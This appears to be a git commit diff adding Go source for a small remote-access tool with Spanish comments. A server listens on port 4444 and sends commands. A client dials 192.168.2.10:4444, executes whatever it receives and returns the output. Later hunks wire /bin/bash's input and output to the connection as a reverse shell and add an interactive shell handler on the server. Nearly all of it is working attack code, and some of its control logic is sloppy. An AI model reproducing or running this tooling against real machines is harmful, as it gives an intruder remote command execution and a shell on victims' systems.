act
This commit is contained in:
@@ -0,0 +1,78 @@
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type remoteAddr struct {
|
||||
addr string
|
||||
}
|
||||
|
||||
// meotodo constructor
|
||||
func SetAddr() *remoteAddr {
|
||||
return &remoteAddr {
|
||||
addr: "0.0.0.0:4444",
|
||||
}
|
||||
}
|
||||
|
||||
func (ra remoteAddr) bindPort() {
|
||||
listener, err := net.Listen("tcp", ra.addr)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
defer listener.Close()
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
fmt.Println("Conexion recibida de", conn.RemoteAddr())
|
||||
fmt.Println("Desea seguir con la conexion de", conn.RemoteAddr())
|
||||
var respuesta string
|
||||
fmt.Scan(&respuesta)
|
||||
if respuesta != "y" {
|
||||
conn.Close()
|
||||
}
|
||||
go handleConnection(conn)
|
||||
}
|
||||
//go handleConnection(conn)
|
||||
}
|
||||
|
||||
func handleConnection(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
if os.Args[1] == "shell" {
|
||||
//getShell(conn)
|
||||
return
|
||||
} else {
|
||||
sendCommand(conn)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func sendCommand(conn net.Conn){
|
||||
defer conn.Close()
|
||||
comando := os.Args[1:] // el comando completo son los argumentos que establecemos
|
||||
comandoUnido := strings.Join(comando, " ") // Juntamos los argumentos como un solo string
|
||||
_, err := conn.Write([]byte(comandoUnido))
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
|
||||
//conn.(*net.TCPconn).CloseWrite()
|
||||
conn.(*net.TCPConn).CloseWrite()
|
||||
buf := make([]byte, 4096)
|
||||
n, err := conn.Read(buf)
|
||||
mensaje := string(buf[:n])
|
||||
fmt.Println("Respuesta de", conn.RemoteAddr())
|
||||
fmt.Println(mensaje)
|
||||
}
|
||||
|
||||
|
||||
func main() {
|
||||
myAddr := SetAddr()
|
||||
myAddr.bindPort()
|
||||
}
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
package main
|
||||
import (
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type remoteAddr struct {
|
||||
Addr string
|
||||
}
|
||||
|
||||
func SetAddr() *remoteAddr {
|
||||
return &remoteAddr {
|
||||
Addr: "192.168.2.10:4444",
|
||||
}
|
||||
}
|
||||
|
||||
func (ra remoteAddr) CreateConn() {
|
||||
conn, err := net.Dial("tcp", ra.Addr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
buf := make([]byte,4096)
|
||||
n, err := conn.Read(buf)
|
||||
data := string(buf[:n])
|
||||
mensaje := strings.TrimSpace(data)
|
||||
partes := strings.Split(mensaje, " ")
|
||||
comandoPrincipal := partes[0]
|
||||
if comandoPrincipal != "shell" {
|
||||
sendOutput(conn, partes)
|
||||
} else {
|
||||
//sendShell()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func sendOutput(conn net.Conn, partes []string) {
|
||||
defer conn.Close()
|
||||
comandoPrincipal := partes[0]
|
||||
argumentos := partes[1:]
|
||||
|
||||
cmd := exec.Command(comandoPrincipal, argumentos...)
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write(output)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
func main() {
|
||||
obj_reverConn := SetAddr()
|
||||
obj_reverConn.CreateConn()
|
||||
}
|
||||
+4
-6
@@ -16,14 +16,9 @@ func CreateAddr() *ReverseAddr {
|
||||
}
|
||||
|
||||
|
||||
func (ra ReverseAddr) CreateRever() {
|
||||
conn, err := net.Dial("tcp", ra.reverAddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
func CreateRever(conn net.Conn) {
|
||||
cmd := exec.Command("/bin/bash")
|
||||
cmd.Stdin = conn
|
||||
cmd.Stdout = conn
|
||||
cmd.Stderr = conn
|
||||
cmd.Run()
|
||||
}
|
||||
@@ -42,6 +37,9 @@ func (ra ReverseAddr) GetInstructions() {
|
||||
mensaje := strings.TrimSpace(data)
|
||||
partes := strings.Split(mensaje," ")
|
||||
comando := partes[0]
|
||||
if comando == "shell" {
|
||||
go CreateRever(conn)
|
||||
}
|
||||
argumentos := partes[1:]
|
||||
cmd := exec.Command(comando, argumentos...)
|
||||
output, err := cmd.Output()
|
||||
|
||||
+13
-2
@@ -5,6 +5,7 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"io"
|
||||
)
|
||||
|
||||
type localAddr struct {
|
||||
@@ -34,16 +35,26 @@ func (la localAddr) BindPort() {
|
||||
}
|
||||
}
|
||||
|
||||
func getShell(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
go io.Copy(os.Stdout, conn)
|
||||
io.Copy(conn, os.Stdin)
|
||||
|
||||
}
|
||||
|
||||
|
||||
func handleConnection(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
if len(os.Args) < 1 {
|
||||
fmt.Println("Escribir comando que tenga que realizar el cliente")
|
||||
} else {
|
||||
fmt.Println("Ejecutando", os.Args[1:])
|
||||
} else if os.Args[1] == "shell" {
|
||||
fmt.Println("Ejecutando shell remota en el cliente")
|
||||
getShell(conn)
|
||||
}
|
||||
|
||||
|
||||
|
||||
comando := os.Args[1:]
|
||||
comandoUnido := strings.Join(comando, " ")
|
||||
_, err := conn.Write([]byte(comandoUnido))
|
||||
|
||||
Reference in New Issue
Block a user